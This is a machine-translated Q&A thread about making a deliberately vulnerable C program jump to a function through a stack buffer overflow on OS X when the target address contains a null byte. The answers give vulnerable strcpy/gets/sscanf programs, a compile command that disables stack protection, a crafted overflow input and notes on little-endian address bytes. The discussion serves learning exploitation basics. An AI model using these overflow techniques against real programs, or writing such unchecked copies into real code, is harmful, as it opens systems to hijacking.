我只是想在下面的程序中尝试在OSX(10.6)上运行缓冲区溢出;我需要通过溢出缓冲区来使foo执行。
#include <string.h>
#include <stdio.h>
void foo() {
printf("hacked!");
}
int main(int argc, const char *argv[]) {
char s[100];
strcpy(s, argv[1]);
}
我将其编译为: -
$ gcc -o test test.c -arch i386
在反汇编test
时,我将foo
的地址设为0x00001eda
。漏洞利用不按预期工作;可能是因为返回地址应该溢出0x00001eda
并包含\x00
。
如果目标地址有\x00
,如何执行缓冲区溢出漏洞?
答案 0 :(得分:2)
strcpy()
函数在遇到零字节(\x00
)时停止。由于您要写入堆栈的地址可能包含这样的字节,因此可以接受以下示例之一类似。
<强> 声明 强>
由于我无法访问OS X 10.6环境,因此使用GCC 4.5.2(MinGW 32位)在Windows 7 64位上开发并测试了以下代码。我依靠gdb来帮助确定
foo()
的地址和堆栈帧中返回地址的位置。有关如何使用gdb确定从缓冲区到返回地址的偏移量的进一步说明,请here。
<强> 码 强>
int main()
{
char s[4];
gets(s);
}
减少了缓冲区的大小,以便使用较短的输入文本来溢出缓冲区。
<强> 输出 强>
gcc -g -fno-stack-protector -o test test.c
printf 1234567890abcdef \ xc6 \ x13 \ x30 | ./test
黑客攻击!
<强> 码 强>
int main(int argc, const char *argv[])
{
char s[100];
sscanf(argv[2], "%x", &s[atoi(argv[1])]);
}
使用atoi()直接定位返回地址实际上并不是“缓冲区溢出”的一个很好的例子。但是,在堆栈框架中查找和修改返回地址是一个很好的练习。
<强> 输出 强>
gcc -g -fno-stack-protector -o test test.c
./test 112 4013c6
黑客攻击!
答案 1 :(得分:1)
出于某种原因,我无法使用 strcpy 覆盖堆栈和注册,即使应用程序崩溃了。
This question与您有关,我设法使用that code进行操作。
答案 2 :(得分:1)
请记住,所有整数(我很确定这包括返回地址)都以小端格式存储,这意味着最不重要的字节首先出现。
因此,所需返回地址(0x00001eda)的字节为:
0xda, 0x1e, 0x00, 0x00
查看karlphillip链接到的code。他只在其字符串的末尾插入了两个地址字节。你也可以这样做。 strcpy函数会很乐意将字符串末尾的两个字节复制到堆栈中,并愉快地添加空终止字符(\ x00)。因此strcpy可以设置伪返回地址的前3个字节。如果幸运的话,也许第4个字节已经是\ x00,因为正确返回地址的第4个字节是\ x00?
这不是我的专长,所以我可能错了。